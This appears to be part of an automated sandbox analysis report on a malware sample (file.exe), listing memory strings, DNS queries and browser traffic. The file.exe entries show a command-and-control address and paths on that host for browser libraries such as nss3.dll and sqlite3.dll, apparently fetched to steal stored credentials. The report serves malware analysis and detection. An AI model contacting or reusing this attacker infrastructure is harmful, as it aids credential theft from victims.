Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: @https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000003.2345858665.000066C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2345732523.000066C40101C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000004.00000003.2345858665.000066C40040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2345732523.000066C40101C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/: equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2437283725.000066C4004C0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2330869227.000066C4006B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J equals www.youtube.com (Youtube)
Source: chrome.exe, 00000004.00000002.2436786958.000066C4002D8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html equals www.youtube.com (Youtube)

Source: global traffic	DNS traffic detected: DNS query: www.google.com
Source: global traffic	DNS traffic detected: DNS query: apis.google.com
Source: global traffic	DNS traffic detected: DNS query: play.google.com
Source: global traffic	DNS traffic detected: DNS query: ntp.msn.com
Source: global traffic	DNS traffic detected: DNS query: bzib.nelreports.net
Source: global traffic	DNS traffic detected: DNS query: assets.msn.com
Source: global traffic	DNS traffic detected: DNS query: sb.scorecardresearch.com
Source: global traffic	DNS traffic detected: DNS query: clients2.googleusercontent.com
Source: global traffic	DNS traffic detected: DNS query: c.msn.com
Source: global traffic	DNS traffic detected: DNS query: api.msn.com
Source: global traffic	DNS traffic detected: DNS query: chrome.cloudflare-dns.com

Source: unknown

HTTP traffic detected: POST /log?format=json&hasfast=true HTTP/1.1Host: play.google.comConnection: keep-aliveContent-Length: 913sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-platform: "Windows"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Content-Type: application/x-www-form-urlencoded;charset=UTF-8Accept: */*Origin: chrome-untrusted://new-tab-pageX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUXSec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9

Source: file.exe, 00000000.00000002.2731453569.000000000079E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732215385.0000000001056000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2731453569.000000000079E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2732215385.0000000001084000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php)7E
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.php17
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpA4
Source: file.exe, 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpK_I
Source: file.exe, 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpa
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpata
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpb
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpi
Source: file.exe, 00000000.00000002.2732215385.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpion:
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpm7
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpu7
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/6c4adf523b719729.phpy7
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/freebl3.dll
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dll
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllQ
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/mozglue.dllU
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/msvcp140.dll
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll.
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dll7
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllll
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/nss3.dllll%
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/softokn3.dll
Source: file.exe, 00000000.00000002.2732215385.0000000001084000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dll
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllG
Source: file.exe, 00000000.00000002.2731453569.00000000007F8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/sqlite3.dllg
Source: file.exe, 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dll
Source: file.exe, 00000000.00000002.2731453569.0000000000817000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/746f34465cf17784/vcruntime140.dllK
Source: file.exe, 00000000.00000002.2732215385.0000000000F9C000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206DAA
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586emulateAdvancedBlendEquations
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 00000004.00000002.2443069902.000066C400C40000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2339149575.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340296367.000066C40037C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000004.00000003.2340321142.000066C400818000.00000004.00000800.00020000.00000000.sdmp, msedge.exe, 00000007.00000003.2449991411.000005C000368000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
